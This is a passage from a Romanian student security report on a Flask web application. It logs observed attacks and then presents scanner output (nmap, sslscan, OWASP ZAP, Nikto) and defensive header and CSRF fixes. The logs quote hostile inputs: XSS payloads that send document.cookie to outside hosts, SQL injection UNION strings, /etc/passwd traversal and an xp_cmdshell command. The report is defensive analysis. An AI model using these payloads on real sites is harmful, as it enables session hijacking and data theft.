Term: <script>fetch('http://atacul-tau.com?c=' + document.cookie)</script> | IP:
5.56.112.179
2026-01-08 15:04:33,228 | INFO | app | log_response_info | [RESPONSE] Status: 200 |
Duration: 0.0007s
2026-01-08 15:04:33,228 | INFO | _internal | _log | 5.56.112.179 - - [08/Jan/2026
15:04:33] "GET
/cauta?termen=<script>fetch('http://atacul-tau.com?c%3D'+%2B+document.cookie)</script>
HTTP/1.1" 200 -
```

7. Atac Reflected XSS: 5.56.112.179:

"<script>fetch('https://localhost:8000/api/date')</script>"

Shell

```
2026-01-08 15:05:41,951 | ERROR | app | cauta | SQL ERROR: near "https": syntax error |
Term: <script>fetch('https://localhost:8000/api/date')</script> | IP: 5.56.112.179
2026-01-08 15:05:41,951 | INFO | app | log_response_info | [RESPONSE] Status: 200 |
Duration: 0.0008s
2026-01-08 15:05:41,952 | INFO | _internal | _log | 5.56.112.179 - - [08/Jan/2026
15:05:41] "GET /cauta?termen=<script>fetch('https://localhost:8000/api/date')</script>
HTTP/1.1" 200 -
```

8. XSS persistent prin username: 5.56.112.179: username: 'daniel' (cont creat)

Shell

```
2026-01-08 14:00:44,261 | INFO | app | inregistrare | REGISTER ATTEMPT: User 'daniel' starts registration from IP 5.56.112.179
2026-01-08 14:00:44,262 | INFO | app | inregistrare | UPLOAD SUCCESS: User 'daniel' uploaded file 'galery5.jpg'
2026-01-08 14:00:44,315 | INFO | app | inregistrare | REGISTER SUCCESS: New user created:
'daniel' | Email: daniel2@gmail.com
```

9. XSS persistent prin imaginea de profil: 5.56.112.179: fotografie de profil: '/app/uploads/Avatar_ion_obama3.jpg'. Aceasta nu este oricum afişată pe site.

Shell

```
2026-01-09 17:37:58,141 | INFO | app | inregistrare | REGISTER ATTEMPT: User 'ion<img
src=x onerror="fetch('http://192.168.56.1:8000/\'+document.cookie)'">' starts registration
from IP 5.56.112.179
FileNotFoundError: [Errno 2] No such file or directory: '/app/uploads/Avatar_ion<img src=x
onerror="fetch('http://192.168.56.1:8000/\'+document.cookie)'">_obama3.jpg'
```

10. XSS persistent: 5.56.112.179: username: 'ionut'

Shell

```
2026-01-09 17:41:03,639 | INFO | app | inregistrare | REGISTER ATTEMPT: User 'ionut<img
src=x onerror="fetch('http://192.168.56.1:8000/log?data='\'+btoa(document.cookie))'">' starts
registration from IP 5.56.112.179
2026-01-09 17:41:03,696 | INFO | app | inregistrare | REGISTER SUCCESS: New user created:
'ionut<img src=x
onerror="fetch('http://192.168.56.1:8000/log?data='\'+btoa(document.cookie))'">' | Email:
ionut@gamil.com
```

```
2026-01-09 17:41:03,697 | INFO | app | log_response_info | [RESPONSE] Status: 302 |  
Duration: 0.0583s
```

11. Creare utilizator pentru XSS: 5.56.112.179: username: test2

Shell

```
2026-01-10 18:42:50,309 | INFO | app | inregistrare | REGISTER ATTEMPT: User 'test2' starts registration  
from IP 5.56.112.179  
2026-01-10 18:42:50,309 | INFO | app | inregistrare | UPLOAD SUCCESS: User 'test2' uploaded file  
'obama2.jpg'  
2026-01-10 18:42:50,371 | INFO | app | inregistrare | REGISTER SUCCESS: New user created:  
'test2' | Email:  
ionut123@gamil.com
```

e. Directory / File Enumeration

Încercări de citire a fișierelor (toate au fost fără succes, adică au avut ca răspuns, 404)

1. 62.60.135.190 -> ../../../../etc/passwd

Shell

```
[REQUEST] GET ../../../../etc/passwd  
IP: 62.60.135.190 | User: ANONIM  
User-Agent: Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)
```

2. 89.39.71.170 -> ../../src/app.py

Shell

```
[REQUEST] GET ../../src/app.py  
IP: 89.39.71.170 | User: ANONIM  
User-Agent: PostmanRuntime/7.51.0
```

3. 81.196.175.53 -> A încercat să se înregistreze cu username setat ca un path: de forma '././tmp/test_proiect' și a primit 500 de la server(eroare la crearea numelui avatarului)

Shell

```
POST Data (UNSAFE): {'username': '../.../tmp/test_proiect', 'email':  
'iulian@gmail.com', 'parola': 'parola123', 'confirm_parola': 'parola123', 'nume':  
'mircea', 'prenume': 'iulian', 'nume_afisat': 'mircea iulian', 'url_site': 'sasdfasdfsas'}  
2025-12-26 13:12:00,018 | INFO | app | inregistrare | REGISTER ATTEMPT: User  
'../.../tmp/test_proiect' starts registration from IP 81.196.175.53  
2025-12-26 13:12:00,021 | INFO | _internal | _log | 81.196.175.53 - - [26/Dec/2025  
13:12:00] "[35m[1mPOST /inregistrare HTTP/1.1[0m" 500 -
```

f. Recon / Crawling

1. **118.194.250.22**: a încercat rute standard utilizate în sisteme comune de crawling precum robots.txt, sitemap.xml, etc. (Răspunsul a fost 404 pentru toate)

Shell

```
2026-01-06 06:28:27,510 | INFO | _internal | _log | 118.194.250.22 - - [06/Jan/2026  
06:28:27] "[33mGET /acasa/robots.txt HTTP/1.1[0m" 404 -  
  
2026-01-06 06:28:27,512 | INFO | _internal | _log | 118.194.250.22 - - [06/Jan/2026  
06:28:27] "[33mGET /acasa/sitemap.xml HTTP/1.1[0m" 404 -  
  
2026-01-06 06:28:29,215 | INFO | _internal | _log | 118.194.250.22 - - [06/Jan/2026  
06:28:29] "[33mGET /favicon.ico HTTP/1.1[0m" 404 -
```

2. **5.56.112.179** a încercat rutele: /admin, /me, /.env, /server, /main.html, /web.config, /view, /app, /db/users.db, /app/db/users.db, /users.db, /robots.txt, /index.php, /config.py, /.envdb, /db, /db/users.db, /static/, /api/, /app/uploads/, /app/uploads/Avatar_mihai_test.jpg.php, /uploads/, /media/Avatar_mihai_test.jpg.php, /view.php, /sitemap.xml, /images/, /uploads/, /.git/config, /.git, /frontend, /server/, /app/uploads/, /../uploads/, /images/, /dashboard, /users, /settings, /media/, /uploads/Avatar_Denis_obama1.jpg, /public/uploads/Avatar_Denis_obama1.jpg, /assets/uploads/Avatar_Denis_obama1.jpg, /static/uploads/Avatar_Denis_obama1.jpg, /view_image.

g. Manipularea sesiuni

De la adresa **5.56.112.179** au fost trimise cereri cu niște cookies care nu există în site:

Cookies: session_test=test; user_data=eyJ1c2VyljogImd1ZXN0liwglmFkbWluljogZmFsc2V9;
session_user=Alexnadru1;

h. Malformed Request / Protocol Fuzzing

- **5.56.112.179** a generat mai multe erori de sintaxă.

Shell

```
2026-01-10 18:43:49,890 | INFO | _internal | _log | 5.56.112.179 - - [10/Jan/2026
18:43:49] "[33mGET /x HTTP/1.1[0m" 404 -
2026-01-10 18:56:43,706 | ERROR | _internal | _log | 81.196.175.52 - - [10/Jan/2026
18:56:43] code 400, message Bad request version ('\x920æ0(\xadDq,\lè0Quâ0')
```

i. Tehnică de ascundere

- 5.56.112.179 a făcut multe get-uri care nu au un sens logic între care au fost intercalate atacuri.

g. Atac Hibrid

- 81.196.175.53 a încercat să combine mai multe metodologii (SQLi, XSS, Remote code execution și file enumeration) de atac într-un singur field pe /cauta

Shell

```
2025-12-26 11:57:26,981 | INFO | _internal | _log | 81.196.175.53 - - [26/Dec/2025
11:57:26] "GET
/cauta?termen=test&XDQz=1255%20AND%201%3D1%20UNION%20ALL%20SELECT%201,NULL,'<script>alert(
"XSS")</script>','table_name%20FROM%20information_schema.tables%20WHERE%202>1--/**/;%20EXEC
%20xp_cmdshell('cat%20../../../../etc/passwd')"%23 HTTP/1.1" 200 -
```

2. Server securizat

I. Încercări eșuate de SQLi (nu se returnează date) în /cauta cu următorii termeni:

1. "%' UNION SELECT 1, username, password, 'test', 'test' FROM users --" : IP: 82.77.225.86

Shell

```
2026-01-11 16:26:28,593 | INFO | app | cauta | SEARCH: Term '% ' UNION SELECT 1, username,
password, 'test', 'test' FROM users --' found 0 results.
```

2. "SELECT 1, username, password, 'test', 'test' FROM users --" : IP: 82.77.225.86

Shell

```
2026-01-11 16:26:38,945 | INFO | app | cauta | SEARCH: Term 'SELECT 1, username, password,
'test', 'test' FROM users --' found 0 results.
```

3. "%' UNION SELECT 1, username, password, 'test', 'test' FROM users --" : IP: 82.77.225.86

Shell

```
2026-01-11 16:29:42,905 | INFO | app | caută | SEARCH: Term '%' UNION SELECT 1, username, password, 'test', 'test' FROM users --' found 0 results.
```

II. Încercări de atacuri XSS:

A. /caută:

1. "=<script>alert('hello')</script>" : IP: 82.77.225.86
2. "q=<script>alert('hello')</script>" : IP: 82.77.225.86
3. "<script>alert('hello')</script>" : IP: 82.77.225.86

B. /inregistrare

1. 'username': 'test<script>alert("hello")</script>' (REUȘITĂ) : IP: 82.77.225.86.
Cauzată de faptul că regex-ul pentru username era doar `/^.{1,200}$/` iar în home rămăsese dezactivată sanitizarea automată de la `render_template` (uitat de la un test).

Shell

```
SW_Server_Secure | 2026-01-11 16:36:04,847 | INFO | app | inregistrare | REGISTER ATTEMPT: User 'test<script>alert("hello")</script>' starts registration from IP 82.77.225.86
SW_Server_Secure | 2026-01-11 16:36:04,890 | INFO | app | inregistrare | REGISTER SUCCESS: New user created: 'test<script>alert("hello")</script>' | Email: Broadbentsam93@gmail.com
```

III. Scanare resurse disponibile de la IP: 10.102.10.6 (cereri pentru diferite rute care nu există referite în codul HTML).

IV. Introducerea în cookies a unui cookie cu numele `session_user`. De la adresa IP: 82.77.237.151 (tentativă de manipulare a sesiunii).

E. Anexe

1. Warning din consola aplicației

This is a development server. Do not use it in a production deployment. Use a production WSGI server instead: conform cerinței trebuie folosit Flask cu server-ul implicit chiar dacă acesta nu este recomandat.

2. nmap

i. `nmap -sV -p 5000 localhost` (sV - serviciu + versiune)

Shell

```
madabcp@madab:~$ nmap -sV -p 5000 localhost -oX nmap_output.xml
Starting Nmap 7.98 ( https://nmap.org ) at 2025-12-17 09:51 +0200
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000012s latency).
Other addresses for localhost (not scanned): ::1

PORT      STATE SERVICE VERSION
5000/tcp  open  ssl/upnp?

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.47 seconds
```

Protocolul este TCP, serviciul ar putea folosi SSL/TLS sau seamănă cu UPnP - Universal Plug and Play (detectare nesigură)

ii. *nmap -p 5000 --script vuln 127.0.0.1* (nu sunt găsite vulnerabilități cunoscute)

Shell

```
madabcp@madab:~$ nmap -p 5000 --script vuln 127.0.0.1
Starting Nmap 7.98 ( https://nmap.org ) at 2025-12-17 14:55 +0200
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000034s latency).

PORT      STATE SERVICE
5000/tcp  open  upnp

Nmap done: 1 IP address (1 host up) scanned in 10.35 seconds
```

3. Verificare protocoale manual cu curl

i. *curl -v http://localhost:5000*

Shell

```
madabcp@madab:~$ curl -v http://localhost:5000
* Host localhost:5000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
* Trying [::1]:5000...
* Established connection to localhost (::1 port 5000) from ::1 port 49398
* using HTTP/1.x
> GET / HTTP/1.1
> Host: localhost:5000
> User-Agent: curl/8.18.0-rc2
> Accept: */*
>
* Request completely sent off
* Empty reply from server
* shutting down connection #0
```

```
curl: (52) Empty reply from server
```

Serverul acceptă conexiune dar nu trimite un răspuns HTTP valid, serverul închide conexiunea fără răspuns. Nu permite HTTP.

ii. *curl -vk https://localhost:5000 - ignorare certificate self-signed (-k)*

Shell

```
madabcp@madab:~$ curl -vk https://localhost:5000
* Host localhost:5000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
* Trying [::1]:5000...
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* SSL Trust: peer verification disabled
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 / X25519MLKEM768 / RSASSA-PSS
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: C=RO; ST=Some-State; O=Internet Widgits Pty Ltd
*  start date: Dec 15 20:31:03 2025 GMT
*  expire date: Dec 15 20:31:03 2026 GMT
*  issuer: C=RO; ST=Some-State; O=Internet Widgits Pty Ltd
*  Certificate level 0: Public key type RSA (4096/152 Bits/secBits), signed using
sha256WithRSAEncryption
* SSL certificate verification failed, continuing anyway!
* Established connection to localhost (::1 port 5000) from ::1 port 54518
* using HTTP/1.x
> GET / HTTP/1.1
> Host: localhost:5000
> User-Agent: curl/8.18.0-rc2
> Accept: */*
>
* Request completely sent off
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 302 FOUND
< Server: Werkzeug/3.1.4 Python/3.13.7
< Date: Wed, 17 Dec 2025 08:04:16 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 199
< Location: /acasa
< Set-Cookie: mesajEroare=; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Path=/
< X-Frame-Options: SAMEORIGIN
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
style-src 'self' 'unsafe-inline'; img-src 'self' data;;
```

```
< Vary: Cookie
< Connection: close
<
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/acasa">/acasa</a>.
If not, click the link.
* shutting down connection #0
```

Aplicația comunică prin HTTPS cu TLS 1.3, Framework: Flask (Werkzeug), certificat auto-semnat, cheie publică RSA (4096 biți) semnată cu sha256. În medii reale ar putea fi făcut un MITM ușor din cauza certificatului autosemnat. TLS 1.3 + AES-256 protocolul de criptare este sigur.

4. *ssllscan*

Utilizat pentru a afla mai multe despre protocoalele disponibile.

```
Shell
madabcp@madab:~$ ssllscan localhost:5000
Version: 2.1.5
OpenSSL 3.5.4 30 Sep 2025

Connected to ::1

Testing SSL server localhost on port 5000 using SNI name localhost

SSL/TLS Protocols:
SSLv2      disabled
SSLv3      disabled
TLSv1.0    disabled
TLSv1.1    disabled
TLSv1.2    enabled
TLSv1.3    enabled

TLS Fallback SCSV:
Server supports TLS Fallback SCSV

TLS renegotiation:
Session renegotiation not supported

TLS Compression:
Compression disabled

Heartbleed:
TLSv1.3 not vulnerable to heartbleed
TLSv1.2 not vulnerable to heartbleed

Supported Server Cipher(s):
Preferred TLSv1.3 256 bits TLS_AES_256_GCM_SHA384
Accepted TLSv1.3 256 bits TLS_CHACHA20_POLY1305_SHA256
Accepted TLSv1.3 128 bits TLS_AES_128_GCM_SHA256
Preferred TLSv1.2 256 bits ECDHE-RSA-AES256-GCM-SHA384 Curve 25519 DHE 253
```

```
Accepted TLSv1.2 128 bits ECDHE-RSA-AES128-GCM-SHA256 Curve 25519 DHE 253
Accepted TLSv1.2 256 bits ECDHE-RSA-CHACHA20-POLY1305 Curve 25519 DHE 253
Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-SHA384 Curve 25519 DHE 253
Accepted TLSv1.2 128 bits ECDHE-RSA-AES128-SHA256 Curve 25519 DHE 253
```

```
Server Key Exchange Group(s):
TLSv1.3 128 bits secp256r1 (NIST P-256)
TLSv1.3 192 bits secp384r1 (NIST P-384)
TLSv1.3 260 bits secp521r1 (NIST P-521)
TLSv1.3 128 bits x25519
TLSv1.3 224 bits x448
TLSv1.3 112 bits ffdhe2048
TLSv1.3 128 bits ffdhe3072
TLSv1.2 128 bits secp256r1 (NIST P-256)
TLSv1.2 192 bits secp384r1 (NIST P-384)
TLSv1.2 260 bits secp521r1 (NIST P-521)
TLSv1.2 128 bits x25519
TLSv1.2 224 bits x448
```

```
SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
RSA Key Strength: 4096
```

```
Subject: /C=RO/ST=Some-State/O=Internet Widgits Pty Ltd
Issuer: /C=RO/ST=Some-State/O=Internet Widgits Pty Ltd
Not valid before: Dec 15 20:31:03 2025 GMT
Not valid after: Dec 15 20:31:03 2026 GMT
```

Observații din output:

- Versiunile vechi și vulnerabile ale protocoalelor SSL/TLS (SSLv2, SSLv3, TLSv1.0 și TLSv1.1) sunt dezactivate, fiind permise doar versiunile noi, TLSv1.2 și TLSv1.3.
- Serverul suportă TLS Fallback SCSV, ceea ce împiedică forțarea unui downgrade către o versiune TLS mai slabă.
- Serverul blochează renegotierea TLS, acceptând doar handshake-ul inițial. Orice încercare a clientului de a iniția o renegotiere este refuzată, prevenind atacuri de tip Man-in-the-Middle bazate pe combinarea datelor atacatorului cu cele ale unui client autentic.
- Compresia TLS este dezactivată, prevenind atacul CRIME, care exploatează șabloane comune pentru a extrage date criptate fără a sparge algoritmul criptografic (de exemplu, cookie-uri de sesiune, token-uri de autentificare sau headere HTTP).
- Protocoalele TLSv1.2 și TLSv1.3 nu sunt vulnerabile la atacul Heartbleed, care permite extragerea de date din memoria RAM fără autentificare.
- Singura problemă legată de protocol este faptul că certificatul este self-signed.

5. OWASP ZAP

Este un tool de securitate web folosit pentru a găsi vulnerabilități

```
sudo docker run --rm -t --network host ghcr.io/zaproxy/zaproxy:stable zap-baseline.py -t https://localhost:5000 -l
```

Shell

Using the Automation Framework

Total of 60 URLs

PASS: Vulnerable JS Library (Powered by Retire.js) [10003]
PASS: In Page Banner Information Leak [10009]
PASS: Cookie No HttpOnly Flag [10010]
PASS: Cross-Domain JavaScript Source File Inclusion [10017]
PASS: Content-Type Header Missing [10019]
PASS: Anti-clickjacking Header [10020]
PASS: Information Disclosure - Debug Error Messages [10023]
PASS: Information Disclosure - Sensitive Information in URL [10024]
PASS: Information Disclosure - Sensitive Information in HTTP Referrer Header [10025]
PASS: HTTP Parameter Override [10026]
PASS: Off-site Redirect [10028]
PASS: Cookie Poisoning [10029]
PASS: User Controllable Charset [10030]
PASS: Viewstate [10032]
PASS: Directory Browsing [10033]
PASS: Heartbleed OpenSSL Vulnerability (Indicative) [10034]
PASS: Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s) [10037]
PASS: X-Backend-Server Header Information Leak [10039]
PASS: Secure Pages Include Mixed Content [10040]
PASS: HTTP to HTTPS Insecure Transition in Form Post [10041]
PASS: HTTPS to HTTP Insecure Transition in Form Post [10042]
PASS: User Controllable JavaScript Event (XSS) [10043]
PASS: Big Redirect Detected (Potential Sensitive Information Leak) [10044]
PASS: Retrieved from Cache [10050]
PASS: X-ChromeLogger-Data (XCOLD) Header Information Leak [10052]
PASS: Cookie without SameSite Attribute [10054]
PASS: X-Debug-Token Information Leak [10056]
PASS: Username Hash Found [10057]
PASS: X-AspNet-Version Response Header [10061]
PASS: PII Disclosure [10062]
PASS: Timestamp Disclosure [10096]
PASS: Hash Disclosure [10097]
PASS: Cross-Domain Misconfiguration [10098]
PASS: Weak Authentication Method [10105]
PASS: Reverse Tabnabbing [10108]
PASS: Dangerous JS Functions [10110]
PASS: Verification Request Identified [10113]
PASS: Script Served From Malicious Domain (polyfill) [10115]
PASS: ZAP is Out of Date [10116]
PASS: Private IP Disclosure [2]
PASS: Session ID in URL Rewrite [3]
PASS: Script Passive Scan Rules [50001]
PASS: Stats Passive Scan Rule [50003]
PASS: Insecure JSF ViewState [90001]
PASS: Java Serialization Object [90002]
PASS: Sub Resource Integrity Attribute Missing [90003]
PASS: Charset Mismatch [90011]
PASS: WSDL File Detection [90030]
PASS: Loosely Scoped Cookie [90033]
WARN-NEW: Cookie Without Secure Flag [10011] x 1
 https://localhost:5000/verificare (302 Found)
WARN-NEW: Re-examine Cache-control Directives [10015] x 4
 https://localhost:5000/acasa (200 OK)
 https://localhost:5000/autenticare (200 OK)
 https://localhost:5000/cauta (200 OK)
 https://localhost:5000/inregistrare (200 OK)
WARN-NEW: X-Content-Type-Options Header Missing [10021] x 2

```

https://localhost:5000/inregistrare?__debugger__=yes&cmd=resource&f=style.css (200
OK)
https://localhost:5000/oidc/login?__debugger__=yes&cmd=resource&f=console.png (200
OK)
WARN-NEW: Information Disclosure - Suspicious Comments [10027] x 4
https://localhost:5000/inregistrare?__debugger__=yes&cmd=resource&f=debugger.js
(200 OK)
https://localhost:5000/oidc/login?__debugger__=yes&cmd=resource&f=debugger.js (200
OK)

https://localhost:5000/oidc/login?btn=Confirm+Pin&next=https://localhost:5000/private&pin=
ZAP (500 Internal Server Error)
https://localhost:5000/oidc/login?next=https://localhost:5000/private (500
Internal Server Error)
WARN-NEW: User Controllable HTML Element Attribute (Potential XSS) [10031] x 1
https://localhost:5000/cauta?termen=ZAP (200 OK)
WARN-NEW: Strict-Transport-Security Header Not Set [10035] x 5
https://localhost:5000 (200 OK)
https://localhost:5000/acasa (200 OK)
https://localhost:5000/autenticare (200 OK)
https://localhost:5000/inregistrare (200 OK)
https://localhost:5000/robots.txt (404 Not Found)
WARN-NEW: Server Leaks Version Information via "Server" HTTP Response Header Field [10036]
x 5
https://localhost:5000 (200 OK)
https://localhost:5000/acasa (200 OK)
https://localhost:5000/autenticare (200 OK)
https://localhost:5000/robots.txt (404 Not Found)
https://localhost:5000/sso (302 Found)
WARN-NEW: Content Security Policy (CSP) Header Not Set [10038] x 3

https://localhost:5000/oidc/login?btn=Confirm+Pin&next=https://localhost:5000/private&pin=
ZAP (500 Internal Server Error)
https://localhost:5000/oidc/login?next=https://localhost:5000/private (500
Internal Server Error)
https://localhost:5000/inregistrare (500 Internal Server Error)
WARN-NEW: Non-Storable Content [10049] x 9
https://localhost:5000 (302 Found)
https://localhost:5000/sso (302 Found)
https://localhost:5000 (200 OK)
https://localhost:5000/acasa (200 OK)
https://localhost:5000/autenticare (200 OK)
WARN-NEW: CSP: Failure to Define Directive with No Fallback [10055] x 14
https://localhost:5000 (302 Found)
https://localhost:5000/autenticare (200 OK)
https://localhost:5000/robots.txt (404 Not Found)
https://localhost:5000/sitemap.xml (404 Not Found)
https://localhost:5000 (302 Found)
WARN-NEW: Permissions Policy Header Not Set [10063] x 5
https://localhost:5000 (200 OK)
https://localhost:5000/acasa (200 OK)
https://localhost:5000/autenticare (200 OK)
https://localhost:5000/inregistrare (200 OK)
https://localhost:5000/sitemap.xml (404 Not Found)
WARN-NEW: Source Code Disclosure - Python [10099] x 2

https://localhost:5000/oidc/login?btn=Confirm+Pin&next=https://localhost:5000/private&pin=
ZAP (500 Internal Server Error)
https://localhost:5000/oidc/login?next=https://localhost:5000/private (500
Internal Server Error)
WARN-NEW: Modern Web Application [10109] x 3

```

```

https://localhost:5000/oidc/login?btn=Confirm+Pin&next=https://localhost:5000/private&pin=
ZAP (500 Internal Server Error)
  https://localhost:5000/oidc/login?next=https://localhost:5000/private (500
Internal Server Error)
    https://localhost:5000/inregistrare (500 Internal Server Error)
WARN-NEW: Authentication Request Identified [10111] x 1
  https://localhost:5000/verificare (302 Found)
WARN-NEW: Session Management Response Identified [10112] x 2
  https://localhost:5000/verificare (302 Found)
  https://localhost:5000/verificare (302 Found)
WARN-NEW: Absence of Anti-CSRF Tokens [10202] x 3
  https://localhost:5000/autentificare (200 OK)
  https://localhost:5000/inregistrare (200 OK)
  https://localhost:5000/inregistrare?btn=Confirm+Pin&pin=ZAP (200 OK)
WARN-NEW: Insufficient Site Isolation Against Spectre Vulnerability [90004] x 12
  https://localhost:5000 (200 OK)
  https://localhost:5000/acasa (200 OK)
  https://localhost:5000/autentificare (200 OK)
  https://localhost:5000/inregistrare (200 OK)
  https://localhost:5000 (200 OK)
WARN-NEW: Application Error Disclosure [90022] x 3

https://localhost:5000/oidc/login?btn=Confirm+Pin&next=https://localhost:5000/private&pin=
ZAP (500 Internal Server Error)
  https://localhost:5000/oidc/login?next=https://localhost:5000/private (500
Internal Server Error)
    https://localhost:5000/inregistrare (500 Internal Server Error)
FAIL-NEW: 0    FAIL-INPROG: 0 WARN-NEW: 18    WARN-INPROG: 0 INFO: 0 IGNORE: 0    PASS:
49

```

Există trei tipuri de ieșiri în ZAP: **PASS** (nu au fost găsite probleme pentru acel test), **WARN-NEW** (a fost identificată o eventuală problemă) și **FAIL-NEW** (probleme critice sau sigure). În cadrul proiectului nostru, au fost identificate doar ieșiri din primele două categorii.

- a. WARN-NEW: Cookie Without Secure Flag [10011]
Soluție:

```

Python
app.config.update(
    SESSION_COOKIE_SECURE=True,
    SESSION_COOKIE_HTTPONLY=True,
    SESSION_COOKIE_SAMESITE='Lax'
)

```

- b. WARN-NEW: Re-examine Cache-control Directives [10015]
Pagini sensibile au cache, se pot accesa date sensibile după logout.
Soluție:

Python

```
@app.after_request
def add_cache_headers(response):
    if request.path.startswith('/inregistrare') or request.path.startswith('/cauta') \
    or request.path.startswith('/verificare') or request.path.startswith('/logout') \
    or request.path.startswith('/sso') or request.path.startswith('/private') \
    or request.path.startswith('/procesare_schimbare_parola') or
    request.path.startswith('/inregistrare'):
        response.headers['Cache-Control'] = 'no-store, no-cache, must-revalidate,
max-age=0'
        response.headers['Pragma'] = 'no-cache'
        response.headers['Expires'] = '0'
    return response
```

Pentru anumite rute nu se permite stocarea în cache.

- c. WARN-NEW: X-Content-Type-Options Header Missing [10021]
Pentru a nu permite interpretarea CSS ca JS sau a nu executa alte fișiere.

Python

```
@app.after_request
def add_security_headers(response):
    response.headers['X-Content-Type-Options'] = 'nosniff'
    return response
```

- d. WARN-NEW: Information Disclosure - Suspicious Comments [10027]
Soluție: dezactivare mod debug
- e. WARN-NEW: User Controllable HTML Element Attribute (Potential XSS) [10031]
<https://localhost:5000/cauta?termen=ZAP> (200 OK)
Render_template face automat sanitizarea.
- f. WARN-NEW: Strict-Transport-Security Header Not Set [10035]
Serverul **nu trimite headerul HTTP Strict-Transport-Security (HSTS)** pentru paginile HTTPS.
Soluție:

Python

```
@app.after_request
def set_hsts_header(response):
    response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
    return response
```

- g. WARN-NEW: Server Leaks Version Information via "Server" HTTP Response Header Field [10036]
Serverul expune framework-ul, versiunea și versiunea de Python se pot căuta vulnerabilități pentru ele.
Soluție încercată:

Python

```
@app.after_request
def remove_server_header(response):
    response.headers['Server'] = 'None'
    return response
```

Header-ul este modificat cu o valoare predefinită care nu oferă informații relevante. Totuși, această soluție nu elimină header-ul adăugat automat de framework. Pentru a ascunde versiunea aplicației, ar trebui utilizat un proxy, împreună cu **Nginx** și **Gunicorn**.

h. WARN-NEW: CSP: Failure to Define Directive with No Fallback [10055]

Pentru unele tipuri de fișiere aplicația permite surse externe din punct de vedere logic, limitarea se va aplica doar pentru script-uri.

Python

```
@app.after_request
def set_csp(response):
    response.headers['Content-Security-Policy'] = (
        "script-src 'self'; "
    )
    return response
```

i. WARN-NEW: Permissions Policy Header Not Set [10063]

Se poate permite acces neautorizat la unele API-uri din browser pentru domenii externe sau cross-origin.

Soluție: Cele neutilizate vor fi dezactivare

Python

```
@app.after_request
def set_permissions_policy(response):
    response.headers['Permissions-Policy'] = (
        "accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), camera=(), "
        "display-capture=(), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), "
        "payment=(), usb=(), vr=()"
    )
    return response
```

j. WARN-NEW: Absence of Anti-CSRF Tokens [10202]

Se poate include cookie-ul de autentificare automat.

Soluție: În formularele ce trimit date se adaugă token-ul `<input type="hidden" name="csrf_token">`

Se poate include cookie-ul de autentificare automat.

Soluție: În formularele ce trimit date se adaugă token-ul `<input type="hidden" name="csrf_token" value="{{ csrf_token() }}">` și `<input type="hidden" name="csrf_token" value="{{ csrf_token() }}">` și se utilizează Flask WFT la server.

k. WARN-NEW: Insufficient Site Isolation Against Spectre Vulnerability [90004]

Se pot citi date din alte procese/tab-uri prin vulnerabilitatea Spectre.
Îmbunătățire securitate:

Python

```
@app.after_request
def set_security_headers(response):
    response.headers['Cross-Origin-Opener-Policy'] = 'same-origin'
    response.headers['Cross-Origin-Embedder-Policy'] = 'require-corp'
    return response
```

I. WARN-NEW: Application Error Disclosure [90022]

Soluție: am înlocuit mesajele de eroare cu o pagină Web specifică

Python

```
@app.errorhandler(500)
def internal_error(error):
    return render_template("500.html"), 500
```

6. Nikto

nikto -h http://localhost:5000

Shell

```
madabcp@madab:~$ nikto -h 127.0.0.1 -p 5000 -ssl
- Nikto v2.1.5

-----
+ Target IP:          127.0.0.1
+ Target Hostname:    localhost
+ Target Port:        5000
-----
+ SSL Info:           Subject: /C=RO/ST=Some-State/O=Internet Widgits Pty Ltd
                      Ciphers: TLS_AES_256_GCM_SHA384
                      Issuer: /C=RO/ST=Some-State/O=Internet Widgits Pty Ltd
+ Start Time:         2025-12-17 13:37:49 (GMT2)
-----
+ Server: None
+ Uncommon header 'x-frame-options' found, with contents: SAMEORIGIN
+ Uncommon header 'cross-origin-embedder-policy' found, with contents: require-corp
+ Uncommon header 'x-xss-protection' found, with contents: 1; mode=block
+ Uncommon header 'cross-origin-opener-policy' found, with contents: same-origin
+ Uncommon header 'permissions-policy' found, with contents: accelerometer=(),
ambient-light-sensor=(), autoplay=(), battery=(), camera=(), display-capture=(),
geolocation=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), usb=(), vr=()
+ Uncommon header 'strict-transport-security' found, with contents: max-age=31536000;
includeSubDomains
+ Uncommon header 'x-content-type-options' found, with contents: nosniff
+ Uncommon header 'content-security-policy' found, with contents: default-src 'self';
script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data;;
+ Cookie mesajEroare created without the secure flag
+ Cookie mesajEroare created without the httponly flag
+ Root page / redirects to: /acasa
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: OPTIONS, GET, HEAD
```

```
